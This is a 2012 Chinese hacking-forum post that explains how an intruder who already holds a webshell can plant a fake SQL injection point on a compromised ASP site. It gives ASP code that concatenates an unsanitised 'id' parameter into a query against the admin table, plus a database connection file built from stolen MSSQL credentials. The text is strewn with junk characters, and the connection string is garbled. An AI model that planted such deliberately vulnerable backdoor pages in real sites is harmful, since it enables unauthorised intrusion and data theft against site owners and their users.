找回密码
 立即注册
查看: 2311|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵1 U. g. G: s) y0 A( l9 L" W

  r  H2 u: a; S1 v: H) y今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
2 Y: e  O3 ^- Y# y* `  u! E& T  V. P! T
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!2 T3 f) Q* O9 R+ l8 v

7 b4 p8 m% }/ i  k% U# w首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和% S/ T5 @* Q! V4 P$ E  k
! C3 u& v8 F- D* a# \5 X" R
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
; y6 ^- m& n$ O7 T% ^: v: ]% \$ K2 q- s5 [: l+ R8 z* k
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
. L, `8 w: A$ e, ]' `4 Z- z- k0 r* `! h2 S. u* M
程序代码  L$ `5 Y. v# Q; F8 L
<!--#include file="xx.asp"-->  Q  z, o) e" _" p
<%0 ~) A. t) h  g# J, P
set rs=server.createobject("ADODB.recordset")% Z8 c/ {! O/ }  c) r% T/ g
id = request("id")
6 b3 D2 \/ u0 |; _% _strSQL = "select * from admin where id=" & id
3 g, a! w/ v0 i6 O0 trs.open strSQL,conn,1,3
# ^8 @$ N- h5 G+ v4 Frs.close
8 Z% [. w  H$ `0 J; Q( a%>
& L/ A, r! J6 M9 [5 D4 Y) g9 m4 ?6 v% B, T
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在+ h7 ?$ h6 F7 e  q5 m

# `& Y7 Q1 q$ P0 K% f你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!8 Y- P+ H. {, Q5 B

% G- g$ A: D8 l# ~+ f. }2 [- l1 }然后就要构造一个连接数据库的文件了,代码如下:
8 I) W) I% O+ i! H  x) X程序代码
) [5 B6 i% i2 L<%        
2 }( I: E/ Z7 J) T# ~" v8 bstrSQLServerName = "000.000.000.000"     '服务器名称或地址2 V5 M% G% o" _/ Q2 R8 d6 @' ^
strSQLDBUserName = "sqlname"         '数据库帐号7 S0 q9 J1 ?8 J) ~0 H. q  y% |2 X
strSQLDBPassword = "sqlpass"         '数据库密码' f# U$ L6 y; Q+ G% q5 b! @: s
strSQLDBName = "sqldataname"           '数据库名称* Y& I5 A  ^1 S1 t$ n( U; c8 B! c( ?
Set conn = Server.CreateObject("ADODB.Connection")
. O5 J0 H, m$ j7 KstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
. H$ {$ G& p0 U% ~conn.open strCon
. i6 f, m. j0 F- G; M%>
7 e* D. q2 Q8 a  V4 k- `2 D9 D+ R/ Z! e) O, T3 D. ^) M. V  B: o
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
7 \) f# K7 |# c/ m, k" I7 R% ^
7 n9 V! b7 R! R2 f就这样,正常情况下,就OK了,伪造成功……
$ u% b& R. S" q7 s6 [8 x* i/ e& }( J/ V; t* `6 [
           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表